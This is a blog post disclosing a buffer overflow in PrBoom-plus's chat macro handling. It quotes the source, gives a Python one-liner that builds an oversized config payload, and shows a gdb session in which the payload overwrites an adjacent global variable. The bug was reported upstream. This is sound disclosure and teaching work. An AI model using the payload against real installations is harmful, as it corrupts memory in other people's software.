[EN] A-Z: PrBoom-plus (part II) and message_nottobefuckedwith
As in the previous post, I was digging in PrBoom-plus’s code. When I was going through hu_stuff.c
these two variables caught my eye:
189 dboolean message_dontfuckwithme;
190 static dboolean message_nottobefuckedwith;
It’s always funny to find such names in source code. It was even better when I found out that it’s part of original Doom’s code. So I took a challange I tried to have some fun with it.
chat macro buffer overflow
I looked at code in m_misc.c
responsible for parsing a configuration file. I noticed that chat macro variables are accepted with quite large length limit (excatly 31988 bytes).
706 {"Chat macros",{NULL},{0},UL,UL,def_none,ss_none},
707 {"chatmacro0", {0,&chat_macros[0]}, {0,HUSTR_CHATMACRO0},UL,UL,
708 def_str,ss_chat}, // chat string associated with 0 key
[...]
1415 #define CFG_BUFFERMAX 32000
[...]
1500 f = fopen (defaultfile, "r");
[...]
1507 fgets(cfgline, CFG_BUFFERMAX, f);
1508 if (sscanf (cfgline, "%79s %[^\n]\n", def, strparm) == 2)
These macros may be used during the game by starting chat (by pressing t
) and then selecting a specific macro with a key combination alt
+ macro number. Code responsible for handling this situation is in hu_stuff.c
2820 if (altdown)
2821 {
2822 c = c - '0';
2823 if (c > 9)
2824 return false;
2825 macromessage = chat_macros[c];
2826
2827 // kill last message with a '\n'
2828 HU_queueChatChar((char)key_enter); // DEBUG!!! // phares
2829
2830 // send the macro message
2831 while (*macromessage)
2832 HU_queueChatChar(*macromessage++);
2833 HU_queueChatChar((char)key_enter); // phares
2834
2835 // leave chat mode and notify that it was sent
2836 chat_on = false;
2837 strcpy(lastmessage, chat_macros[c]);
2838 plr->message = lastmessage;
2839 eatkey = true;
2840 }
Macro message is retrieved from the array at line 2825, lines 2827 - 2833 are responsible for preparing the text to be displayed. Then, at line 2837 the text (which has no length boundaries) is copied to lastmessage
variable. This buffer has fixed size, 81 bytes.
hu_lib.h
:
51 #define HU_MAXLINELENGTH 80
hu_stuff.c
:
2722 static char lastmessage[HU_MAXLINELENGTH+1];
Summarizing, we have control over chat_macros
value, which may have up to 31988 bytes read from configuration file. Then, these bytes are copied the lastmessage
for which only 81 bytes are allocated - this is typical buffer overflow. As uninitialized global and static variables reside in a .bss
segment, I hoped that I will be able use this overflow to overwrite them.
I prepared a configuration file with a payload (0x61 is a):
# python -c 'print "chatmacro0 \"" + "\x61" * 4000 + "\""' > test.cfg
# cat test.cfg
chatmacro0 "aaaaaaaaaaaaaaaaaaaaa[...]
I compiled the game with additional compiler flag -D_FORTIFY_SOURCE=0
which disables a modern protection against buffer overflow exploitation. Then I started the server and the first client.
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus-game-server
Listening on port 5030, waiting for 2 players
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse
The second client I ran using gdb,
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# gdb --args ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse -config /root/projects/prboom-plus/test.cfg
and set up a breakpoint on vulnerable line (strcpy
invocation).
(gdb) break hu_stuff.c:2837
Breakpoint 1 at 0x80a00ce: file hu_stuff.c, line 2837.
(gdb) c
Continuing.
In the game I used my macro (by pressing t
and alt
+ 0
), and the breakpoint was hit.
Thread 1 "prboom-plus" hit Breakpoint 1, HU_Responder (ev=0xbf836cd4) at hu_stuff.c:2837
2837 strcpy(lastmessage, chat_macros[c]);
Memory before triggering vulnerablity:
(gdb) x/4x &message_nottobefuckedwith
0x817d568 <message_nottobefuckedwith>: 0x00000000 0x00000000 0x00000000 0x00000000
just one step calling strcpy
,
(gdb) n
2838 plr->message = lastmessage;
and the result shows how I fucked with DOOM and its message_nottobefuckedwith:
(gdb) x/4x &message_nottobefuckedwith
0x817d568 <message_nottobefuckedwith>: 0x61616161 0x61616161 0x61616161 0x61616161
- submission: https://sourceforge.net/p/prboom-plus/bugs/254/